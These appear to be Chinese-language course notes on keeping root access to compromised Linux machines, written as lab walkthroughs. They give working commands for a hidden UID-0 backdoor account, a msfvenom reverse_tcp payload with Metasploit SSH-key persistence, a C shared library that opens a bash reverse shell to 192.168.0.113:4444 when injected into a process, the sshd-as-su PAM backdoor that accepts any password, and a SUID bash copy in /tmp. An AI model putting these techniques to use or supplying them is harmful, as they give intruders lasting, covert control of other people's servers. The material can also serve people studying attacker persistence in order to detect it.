0x01.linux权限维持的基本思路
权限维持的前提:有shell 是root权限
1.linux操作系统的基本特点
a.长时间运行并带有服务
b.文件结构简单
c.用户权限清晰
2.基本知识面
账户 : 账户的使用、创建和链接(以ssh为主)
操作系统 : 基于linux的系统特性来思考linux系统本身可以利用的权限维持技巧
系统应用 : 从linux操作系统中的各种通用性较广的应用思考权限维持
3.如何快速学习linux权限维持的新技巧
从触发转变为持续
a.思考的重点重基于事件触发变为持续
b.利用的点从操作系统本身转到应用
c."权限"从"控制的权限“到"提权的权限
0x02.基于账号的linux后门
1.添加linux用户
普通方式
useradd 用户名
passwd 用户名
输入密码
不普通的方式 (直接修改密码相关的两个文件)
添加一个具有root权限的普通用户
修改/etc/passwd(密码引导文件)和/etc/shadow(密码真正的文件)
passwd
test:x:0:0::/:/bin/bash
shadow (密码:123456)
test:密码密文:13407:0:99999:7:::
先复制到tmp目录下,修改好在覆盖源文件,注意这里的密码密文不同操作系统是不一样的,所以手动要先生成
一句话添加
useradd -p 0`openssl passwd -1 -salt 'abc' 123456` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/chiyu chiyu
useradd 添加用户
useradd -p 0`openssl passwd -1 -salt 'abc' cqrdpass` abc是盐值,可以随便填写,cqrdpass是设置的密码
-u 0 -o 添加一个uid为 0的用户 就相对于root级别的了
-g root -G root 将用户添加到root组
-s /bin/bash 指定新建用户的shell路径
-d /usr/bin/cqrd 新建用户的主目录,可以自己定义
cqrd 新建的用户的用户名
测试不能用ssh登录,不知道原因
2.如何连接linux用户
ssh基本使用:
usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
[-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
[-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
[-i identity_file] [-J [user@]host[:port]] [-L address]
[-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
[-Q query_option] [-R address] [-S ctl_path] [-W host:port]
[-w local_tun[:remote_tun]] destination [command]
[-i identity_file] [-J [user@]host[:port]]这部分的需要记住,很常用。
3.基本的密钥体系概念(以ssh举例)
对称与非对称密钥体系
同一个密钥既可以加密又可以解密就是对称的密钥体系
,密文或明文的确定正确由这个密钥决定
有专门的密钥来负责加密,有专门的密钥负责解密就是非对称的密钥体系,密文的的确定正确由负责加
密的密钥确定(公钥),明文的确定正确由负责解密的密钥确定(私钥),二者的统一确定由加密的密
钥统一决定
对称密钥举例:
密文:2个2
明文:4
密钥:加号
加密过程:4=2+2
解密过程:2+2=4
非对称密钥举例:
密文:2
公钥:两个2
私钥一:加号
私钥二:乘号
明文:4
加密过程:4由两个2组成
解密过程一:4=2+2
解密过程二:4=2*2
ssh认证过程
SSH登录主要分为两个阶段:
1)协商客户端和服务端双方通信所使用的共享密钥,并用这个共享密钥实现后续会话过程的对称加密;
2)使用非对称加密方式验证客户端的身份。
两种登陆方式:
1.密码:
1)服务端收到客户端的请求后,把自己的公钥发送给客户端(与会话密钥不同,是服务器自身的公钥/
私钥对);
2)客户端使用收到的公钥加密密码,并发送回服务器;
3)服务器使用自己私钥解密信息,若密码正确,则通过验证。
2.密钥:
前提条件是手动将客户端的公钥发送给服务器,并填入authorized_keys文件中。
1)客户端把用户验证的密钥对ID发送给服务器;
2)服务器根据密钥对ID在对应用户的authorized_keys文件中进行检索;
3)假设服务器在文件中找到符合密钥对ID的公钥,服务器将生成一个随机数,并用这个公钥进行加密;
4)服务器将加密后的信息发送给客户端;
5)假设客户端拥有对应的私钥,就可以解密出原来的随机数;
6)客户端将得到的随机数与加密会话所用的会话密钥拼接一起后,计算其MD5哈希值;
7)客户端将MD5哈希值发送回服务器;
8)服务器使用相同的会话共享密钥和他生成的随机数计算出MD5哈希值,并与客户端返回的MD5哈希
值进行比较。如果两个值相等,证明客户端拥有对应私钥,则通过验证。
678步可以仅做了解
4.如何使用ssh做权限维持(必做作业)
下载服务器私钥链接,攻击者使用私钥链接
ssh -i 私钥文件 用户@ip
写公钥到被控端~/.ssh/authorized_keys文件
ssh 用户@ip
补充:
msf中有一个关于上面两个的自动化模块
post/linux/manage/sshkey_persistence
设置session
run
就会拿到私钥,以及添加公钥到靶机的~/.ssh/authorized_keys
实战实验:
1.生成linuxpayload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -f elf -o /root/linuxpayload
2.通过http服务,靶机下载payload
python:
python3 -m http.server
php:
php -S 192.168.0.114:80
3.msf设置监听
set payload linux/x86/meterpreter/reverse_tcp
4.靶机运行payload
5.上线会话放到后台
6.使用post模块、
use post/linux/manage/sshkey_persistence
set session 2
run
7.使用下载的私钥链接
降低私钥权限
chmod 600 /root/.msf4/loot/20210724101627_default_192.168.0.113_id_rsa_934346.txt
ssh -i /root/.msf4/loot/20210724101627_default_192.168.0.113_id_rsa_934346.txt root@192.168.0.113
8.写公钥到被控机
生成本地公钥
ssh-keygen (一路回车,然后会生成下面两个文件)
把id_rsa.pub写到被控机的~/.ssh/authorized_keys中
cd /root/.ssh
upload /root/.ssh/id_rsa.pub .
mv id_rsa.pub authorized_keys
直接链接
0x03.基于linux特性的权限维持
1.进程注入
老师说进程迁移也是一种进程注入就是用一个dll文件调另一个dll文件
gaffe23/linux-inject
https://github.com/gaffe23/linux-inject
下载后需要make一下
inject sample-library.so sample-target
注入工具 要注入的文件 默认演示的进程 (持续运行)
实验演示
1.开启演示进程
./sample-target
2.查看正在运行的进程
ps -a
3.注入进程
./inject -p PID sample-library.so
关闭系统的一个进程管理工具 , 这个工具作用:不允许莫名其妙的东西运行在你的进程上
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
代码 文件名:socket.so
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
void shell()
{
system( "bash -c 'bash -i >& /dev/tcp/192.168.0.113/4444 0>&1'");
}
__attribute__((constructor))
void loadMsg()
{
shell();
}
编译
clang -std=gnu99 -ggdb -D_GNU_SOURCE -shared -o socket.so -lpthread -fPIC socket.c
使用
./sample-target
./inject -p pid socket.so
实战可以注入到apache进程中
演示 : 被控机器---》 kali
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
拿到shell
3.PAM(ssh软连接)
寻找支持pam的程序
cd /etc/pam.d
找到支持的程序具体在什么位置
whereis su
软连接
ln –sf /usr/sbin/sshd /bin/su;/bin/su –oPort=4444
相当于攻击者用ssh链接被控机器的444端口,但是被控机这边只是调用了一个su而已,不涉及敏感操作,不会拦截,然后pam中会有所有的ssh认证过程,然后攻击者就连上了
ssh链接 , 输入任意密码即可
ssh 192.168.0.113 -p 4444
4.suid的权限维持(提权通道维持)
1.找到bash文件
whereis bash
2.复制到普通用户环境能接触的文件夹
cp /bin/bash /tmp/.bash
3.设置权限
chmod 4755 /tmp/.bash #设置suid 4代表suid
4.使用
普通用户登录
/tmp/.bash -p
0x04.基于linux系统应用的权限维持
1.rookit
缺点:动静特别大,很容易被发现,安装也不简单
优点:如果成功,对方只能恢复快照,无其他方法
github: linux rootkit